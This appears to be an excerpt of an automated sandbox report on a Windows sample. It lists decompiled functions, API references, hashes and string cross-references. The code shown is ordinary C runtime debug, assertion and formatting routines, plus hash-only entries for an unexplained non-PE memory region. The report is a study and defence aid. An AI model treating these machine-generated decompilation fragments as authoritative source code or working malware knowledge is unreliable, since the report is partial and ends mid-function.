IsDebuggerPresent.KERNEL32 ref: 0043643D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436454
UnhandledExceptionFilter.KERNEL32(004080A8), ref: 0043645F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043647D
TerminateProcess.KERNEL32(00000000), ref: 00436484

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction ID: 1d5d1644851777e7e87b169279bb4baef47c9f685b4ab93584a40ca669f2934d
Opcode Fuzzy Hash: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction Fuzzy Hash: AB2128B4801308DFEB14DF15FD686643BB5BB28316F10406AE90993372F7755688AF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043B870, Relevance: 3.0, APIs: 2, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0043B870() {

				if(IsDebuggerPresent() == 0 || E0043B8A0(0x1004) == 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x0043b878
0x0043b893
0x0043b88b
0x0043b890
0x0043b890

APIs

IsDebuggerPresent.KERNEL32(00433F79), ref: 0043B870
DebuggerProbe.LIBCMTD ref: 0043B87F

Part of subcall function 0043B8A0: RaiseException.KERNEL32(406D1388,00000000,00000006,00001001), ref: 0043B8FC

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Debugger$ExceptionPresentProbeRaise
String ID:
API String ID: 680636614-0
Opcode ID: c80d4b59ff557331bfe6445cd0041cb9242567e9cd664eceebaa9e3dda1f9954
Instruction ID: 34b199cce2da0d12afe137113f31668d28c63f198d1c1fedf28274b09689e5ec
Opcode Fuzzy Hash: c80d4b59ff557331bfe6445cd0041cb9242567e9cd664eceebaa9e3dda1f9954
Instruction Fuzzy Hash: 5AC04C64B0420116FF143A315D457573248EB48756F8C14B5AB49D42A1EB5DC840D199

Uniqueness

Uniqueness Score: -1.00%

Function 004285C0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004285C0() {

				SetUnhandledExceptionFilter(E00428550);
				return 0;
			}

0x004285ca
0x004285d3

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00028550), ref: 004285CA

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f626ad564b7770f5afd565fb3106172abb5928dd762cf84df3299638b9bcb43b
Instruction ID: a9db96245989d6f1b165533a51ea85de892fc8f1f1bf3be1a6f3856693175d90
Opcode Fuzzy Hash: f626ad564b7770f5afd565fb3106172abb5928dd762cf84df3299638b9bcb43b
Instruction Fuzzy Hash: 3DB01231254248378A0027F67E09E073A8CC9C47603910465F00CD1010EC6594004059

Uniqueness

Uniqueness Score: -1.00%

Function 006431FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: a7e76e24b27b66c6730cd24b79f7e140c042cc99e35bbfc786033d5f900f743e
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: 4431CE299444599ECF2E4BB0944A1D1BBA1DF5B304B6A0DCACB91AFD57CA30A483C693

Uniqueness

Uniqueness Score: -1.00%

Function 00643253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 365c1b6ed8097cfb2582368670bf803d2042298cafacda9877e4200f950cceff
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: A531BC299008AD9FCB2D4B759058191BBA1DF5E304FB60D8AC790AFD47CA306883C293

Uniqueness

Uniqueness Score: -1.00%

Function 00640042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2cb6f8e7198794800e500c6ed1d6bd010f21f2cb31cdaf2dc515c14bf32f1a0d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 461182723401109FE754DF65DC91FA673EAEB88720B298155EE08CB312D675EC02C760

Uniqueness

Uniqueness Score: -1.00%

Function 0042C3EE, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C3EE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422F10(_t210));
						 *(L00422F10( *(L00422F10(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436350(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DAF0( *((intOrPtr*)(L00422F10(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422F10(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041E060(E0041DBE0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041E060(E0041DBE0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041E060(E004321D0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041E060(E004321D0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041E060(E004321D0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041E060(E0041DBE0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422F10(_t210));
						 *(L00422F10(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BD30( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DAF0( *(L00422F10(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422F10(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041E060(E0041DBE0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436E10(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DAF0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041E060(E0042DC30(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E3C0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x55b808;
						 *(_t263 - 0x5050) =  *0x55b808;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C985();
							goto L44;
						}
						_t240 =  *0x55b804;
						 *(_t263 - 0x504c) =  *0x55b804;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x55b800 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x55b800( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DEC0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041E060(E00436E40(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429690(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CAEF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BD60(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041E060(E00436E40(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C2F0(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c3ee
0x0042c3fb
0x0042c4a8
0x0042c4ae
0x0042c4bf
0x0042c4ca
0x0042c4e2
0x0042c4e9
0x0042c4ee
0x0042c4f1
0x0042c4fe
0x0042c522
0x0042c527
0x0042c527
0x0042c52a
0x0042c52f
0x0042c535
0x0042c53e
0x0042c570
0x0042c575
0x0042c575
0x0042c53e
0x0042c57c
0x0042c582
0x0042c590
0x0042c584
0x0042c584
0x0042c584
0x0042c5bc
0x0042c5cc
0x0042c5d1
0x0042c5d1
0x0042c606
0x0042c60b
0x0042c612
0x0042c614
0x0042c621
0x0042c653
0x0042c658
0x0042c658
0x0042c67b
0x0042c68b
0x0042c690
0x0042c690
0x0042c697
0x0042c7a7
0x0042c7ac
0x0042c69d
0x0042c69d
0x0042c6ae
0x0042c6b9
0x0042c6c5
0x0042c6c6
0x0042c6c9
0x0042c6e4
0x0042c6e9
0x0042c6ec
0x0042c6f9
0x0042c71d
0x0042c722
0x0042c722
0x0042c730
0x0042c739
0x0042c76b
0x0042c770
0x0042c770
0x0042c773
0x0042c7af
0x0042c7b9
0x0042c7d8
0x0042c7e7
0x0042c80e
0x0042c813
0x0042c81d
0x0042c84f
0x0042c854
0x0042c854
0x0042c85e
0x0042c86d
0x0042c877
0x0042c883
0x0042c888
0x0042c88b
0x0042c892
0x0042c898
0x0042c8af
0x0042c8b8
0x0042c8d4
0x0042c8dd
0x0042c8df
0x0042c8e4
0x0042c8a9
0x00000000
0x0042c8a9
0x0042c8e6
0x0042c8f6
0x00000000
0x0042c8f6
0x0042c907
0x0042c977
0x0042c977
0x0042c97e
0x00000000
0x0042c97e
0x0042c909
0x0042c90f
0x0042c926
0x0042c92f
0x0042c94b
0x0042c954
0x0042c956
0x0042c95b
0x0042c920
0x00000000
0x0042c920
0x0042c95d
0x0042c96d
0x00000000
0x0042c96d
0x00000000
0x0042c990
0x0042c990
0x0042c997
0x0042c9a4
0x0042c9a6
0x0042c9b0
0x0042c9c2
0x0042c9c8
0x0042c9cd
0x0042c9cf
0x0042c9d9
0x0042c9df
0x0042c9df
0x0042c9cd
0x0042c9ec
0x0042c9ff
0x0042ca1e
0x0042ca23
0x0042ca39
0x0042ca39
0x0042ca4c
0x0042ca55
0x0042ca55
0x0042ca5b
0x0042ca68
0x0042ca6a
0x0042ca75
0x0042caa8
0x0042caad
0x0042caad
0x0042cac0
0x0042cacf
0x0042cadb
0x0042cadb
0x0042ca68
0x0042c9ec
0x0042cae1
0x0042cae1
0x0042cae8
0x0042cb01
0x0042cb0a
0x0042cb12
0x0042cb13
0x0042cb14
0x0042cb22
0x0042cb22
0x0042c85e
0x0042c432
0x0042c43f
0x0042c449
0x0042c456
0x0042c44b
0x0042c44e
0x0042c44e
0x0042c460
0x0042c467
0x0042c472
0x0042c47f
0x0042c48a
0x0042c490
0x0042c495
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C3F3
__invoke_watson_if_error.LIBCMTD ref: 0042C432
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C43F
OutputDebugStringA.KERNEL32(004061D4), ref: 0042C467
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C472
OutputDebugStringA.KERNEL32(?), ref: 0042C47F
OutputDebugStringA.KERNEL32(004061C8), ref: 0042C48A
_wcscat_s.LIBCMTD ref: 0042C64A

Part of subcall function 004321D0: __invalid_parameter.LIBCMTD ref: 00432242

__invoke_watson_if_error.LIBCMTD ref: 0042C653

Part of subcall function 0041E060: __invoke_watson.LIBCMTD ref: 0041E081

_wcscat_s.LIBCMTD ref: 0042C682

Part of subcall function 004321D0: _memset.LIBCMT ref: 004322AB
Part of subcall function 004321D0: __invalid_parameter.LIBCMTD ref: 00432307

__invoke_watson_if_error.LIBCMTD ref: 0042C68B
__snwprintf_s.LIBCMTD ref: 0042C6E4

Part of subcall function 0042BD30: __vsnprintf_s_l.LIBCMTD ref: 0042BD52

__invoke_watson_if_oneof.LIBCMTD ref: 0042C71D
_wcscpy_s.LIBCMTD ref: 0042C762
__invoke_watson_if_error.LIBCMTD ref: 0042C76B
__cftoe.LIBCMTD ref: 0042C7DF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C80E
_wcscpy_s.LIBCMTD ref: 0042C846
__invoke_watson_if_error.LIBCMTD ref: 0042C84F
__itow_s.LIBCMTD ref: 0042C429

Part of subcall function 00436E40: _xtow_s@20.LIBCMTD ref: 00436E6B

__strftime_l.LIBCMTD ref: 0042C4E9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C522
_wcscpy_s.LIBCMTD ref: 0042C567
__invoke_watson_if_error.LIBCMTD ref: 0042C570
_wcscpy_s.LIBCMTD ref: 0042C5C3
__invoke_watson_if_error.LIBCMTD ref: 0042C5CC
_wcscat_s.LIBCMTD ref: 0042C5FD
__invoke_watson_if_error.LIBCMTD ref: 0042C606

Strings

strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C5AB
_VCrtDbgReportA, xrefs: 0042C40D, 0042C50C, 0042C54C, 0042C5A6, 0042C5E0, 0042C62F, 0042C667, 0042C707, 0042C747, 0042C7F9, 0042C82B, 0042CA83
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C634
t9j, xrefs: 0042CA75
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C66C
%s(%d) : %s, xrefs: 0042C6CE
t8j, xrefs: 0042C81D
Assertion failed: , xrefs: 0042C584
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C408, 0042C507, 0042C547, 0042C5A1, 0042C5DB, 0042C62A, 0042C662, 0042C702, 0042C742, 0042C7F4, 0042C826, 0042CA7E
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C835
Second Chance Assertion Failed: File , xrefs: 0042C43A
<file unknown>, xrefs: 0042C456
Assertion failed!, xrefs: 0042C590
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C5E5
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C830
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C551
, Line , xrefs: 0042C46D
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C412, 0042CA88
_CrtDbgReport: String too long or IO Error, xrefs: 0042C556, 0042C751
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C74C
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C7FE
(*_errno()), xrefs: 0042C511, 0042C70C

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction ID: a9a3797515df7185ba8ac8fcde941c6004db623a77a8cc97ced4f626b6f925d7
Opcode Fuzzy Hash: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction Fuzzy Hash: 8D02A5B4A40728ABDB20DF50DD46BDF7378AB08745F5040AAF6097A2C1D7B85AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00435029, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00435029(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428400(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428400(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428400(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428400(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428420(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428420(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
